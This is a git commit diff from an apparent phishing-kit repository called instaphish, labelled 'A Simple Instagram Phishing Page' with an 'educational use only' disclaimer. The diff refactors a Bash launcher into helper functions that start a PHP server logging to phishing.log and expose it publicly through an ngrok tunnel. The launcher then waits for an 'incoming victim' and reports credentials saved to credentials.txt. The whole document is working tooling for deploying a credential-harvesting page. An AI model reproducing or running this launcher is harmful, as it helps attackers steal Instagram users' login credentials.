hatixntsoa.site
A Simple Instagram Phishing Page • For educational use only • The author is not responsible for illegal misuse.
refactor: shell scripts
+13
-70
instaphish.sh
+13
-70
instaphish.sh
···
1
1
#!/bin/bash
2
2
3
-
# Check if php is installed
4
-
if ! command -v php &>/dev/null; then
5
-
echo "Please install php first"
6
-
exit 0
7
-
fi
3
+
# Load functions and banner
4
+
source utils/functions.sh
5
+
source utils/banner.sh
8
6
9
-
# Check if ngrok is installed
10
-
if ! command -v ngrok &>/dev/null; then
11
-
echo "Please install ngrok first"
12
-
exit 0
13
-
fi
14
-
15
-
# Disable Ctrl+C (^C) character display
16
-
stty -echoctl
17
-
18
-
# Kill on Ctrl+C
19
-
trap "echo; echo '[*] Shutting down...'; kill $php_pid $ngrok_pid 2>/dev/null; exit 0" INT
7
+
instaphish_banner
8
+
check_installation
9
+
handle_exit
20
10
21
-
# Function to check if a port is free
22
-
is_port_free() {
23
-
! lsof -i :$1 >/dev/null 2>&1
24
-
}
11
+
port=$(get_free_port)
25
12
26
-
# Generate a random 4-digit free port
27
-
while true; do
28
-
port=$((RANDOM % 5999 + 4001))
13
+
# Start local PHP server
14
+
start_php_server "$port"
29
15
30
-
if is_port_free "$port"; then
31
-
break
32
-
fi
33
-
done
16
+
# Handle ngrok forwarding
17
+
start_ngrok_forward
34
18
35
-
# Start PHP server and log output to file
36
-
php -S 0.0.0.0:$port >> logs/phishing.log 2>&1 &
37
-
php_pid=$!
38
-
echo "[+] Server started on port $port"
39
-
echo "[+] Local URL : http://localhost:$port"
40
-
echo
41
-
42
-
# Check if ngrok config exists before forwarding
43
-
if [[ -f "$HOME/.config/ngrok/ngrok.yml" ]]; then
44
-
# Start ngrok in background
45
-
ngrok http $port > /dev/null 2>&1 &
46
-
ngrok_pid=$!
47
-
48
-
# Wait until ngrok tunnel is available
49
-
echo -n "[+] Waiting for ngrok tunnel "
50
-
while true; do
51
-
ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1)
52
-
if [[ -n "$ngrok_url" ]]; then
53
-
break
54
-
fi
55
-
echo -n "."
56
-
sleep 0.5
57
-
done
58
-
echo ""
59
-
echo "[+] Port forwarded at $ngrok_url"
60
-
else
61
-
echo "[!] Please add your ngrok auth token in order to forward the port"
62
-
echo "[*] Server is running locally"
63
-
fi
64
-
65
-
echo
66
-
echo "[*] Waiting for incoming victim..."
67
-
68
-
# Monitor log file
69
-
tail -n 0 -f logs/phishing.log | while IFS= read -r line; do
70
-
if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then
71
-
echo "$line"
72
-
fi
73
-
if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then
74
-
echo
75
-
echo "[*] Waiting for incoming victim..."
76
-
fi
77
-
done
19
+
# Wait and handle incoming connections
20
+
handle_connection
+11
utils/colors.sh
+11
utils/colors.sh
+6
utils/connection.sh
+6
utils/connection.sh
+117
utils/functions.sh
+117
utils/functions.sh
···
1
+
#!/bin/bash
2
+
3
+
# Load colors and connection check
4
+
source utils/colors.sh
5
+
source utils/connection.sh
6
+
7
+
# Check if php is installed
8
+
function check_php {
9
+
if ! command -v php &>/dev/null; then
10
+
printf "${BOLD}${WHITE}[${RED}x${WHITE}]${RESET} Please install php\n"
11
+
exit 0
12
+
fi
13
+
}
14
+
15
+
# Check if ngrok is installed
16
+
function check_ngrok {
17
+
ngrok_installed=$(
18
+
command -v ngrok &>/dev/null \
19
+
&& echo true \
20
+
|| echo false
21
+
)
22
+
}
23
+
24
+
# Check binaries
25
+
function check_installation {
26
+
check_php
27
+
check_ngrok
28
+
}
29
+
30
+
# Handle exit gracefully
31
+
function handle_exit {
32
+
# Disable Ctrl+C (^C) character display
33
+
stty -echoctl
34
+
35
+
# Trap Ctrl+C (SIGINT) to kill background processes and exit cleanly
36
+
trap "echo;\
37
+
printf '${BOLD}${WHITE}[${RED}*${WHITE}]${RESET} Shutting down\n';\
38
+
kill $php_pid $ngrok_pid 2>/dev/null;\
39
+
exit 0\
40
+
" INT
41
+
}
42
+
43
+
# Check if a port is free
44
+
function is_port_free {
45
+
! lsof -i :$1 >/dev/null 2>&1
46
+
}
47
+
48
+
# Generate a random 4-digit free port
49
+
function get_free_port {
50
+
while true; do
51
+
port=$((RANDOM % 5999 + 4001))
52
+
if is_port_free "$port"; then
53
+
echo "$port"
54
+
return
55
+
fi
56
+
done
57
+
}
58
+
59
+
# Start PHP server and log output to file
60
+
function start_php_server {
61
+
php -S 0.0.0.0:$1 >> logs/phishing.log 2>&1 &
62
+
php_pid=$!
63
+
printf "${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Server started on port ${YELLOW}$1${RESET}\n"
64
+
printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Local URL : ${BLUE}http://localhost:$1${RESET}\n\n"
65
+
}
66
+
67
+
function start_ngrok_forward {
68
+
if [[ "$ngrok_installed" != "true" ]]; then
69
+
printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok is not installed.\n"
70
+
printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n"
71
+
elif [[ ! -f "$HOME/.config/ngrok/ngrok.yml" ]]; then
72
+
printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok config not found.\n"
73
+
printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n"
74
+
else
75
+
printf "${BOLD}${WHITE}[${GREEN}?${WHITE}]${RESET} Checking internet connection "
76
+
if ! connected; then
77
+
printf "${BOLD}${RED}x${RESET}\n"
78
+
printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n"
79
+
else
80
+
printf "${BOLD}${GREEN} ${RESET}\n"
81
+
printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Ngrok tunneling operational\n"
82
+
start_ngrok
83
+
fi
84
+
fi
85
+
}
86
+
87
+
# Start ngrok and wait for public URL
88
+
function start_ngrok {
89
+
ngrok http $port > /dev/null 2>&1 &
90
+
ngrok_pid=$!
91
+
92
+
printf "\n${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Waiting for ngrok tunnel "
93
+
while true; do
94
+
ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1)
95
+
if [[ -n "$ngrok_url" ]]; then
96
+
break
97
+
fi
98
+
echo -n "."
99
+
sleep 0.5
100
+
done
101
+
102
+
printf "\n${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Public URL : ${BLUE}$ngrok_url${RESET}\n"
103
+
}
104
+
105
+
# Monitor log file for connections
106
+
function handle_connection {
107
+
printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n"
108
+
109
+
tail -n 0 -f logs/phishing.log | while IFS= read -r line; do
110
+
if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then
111
+
printf "$line\n"
112
+
fi
113
+
if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then
114
+
printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n"
115
+
fi
116
+
done
117
+
}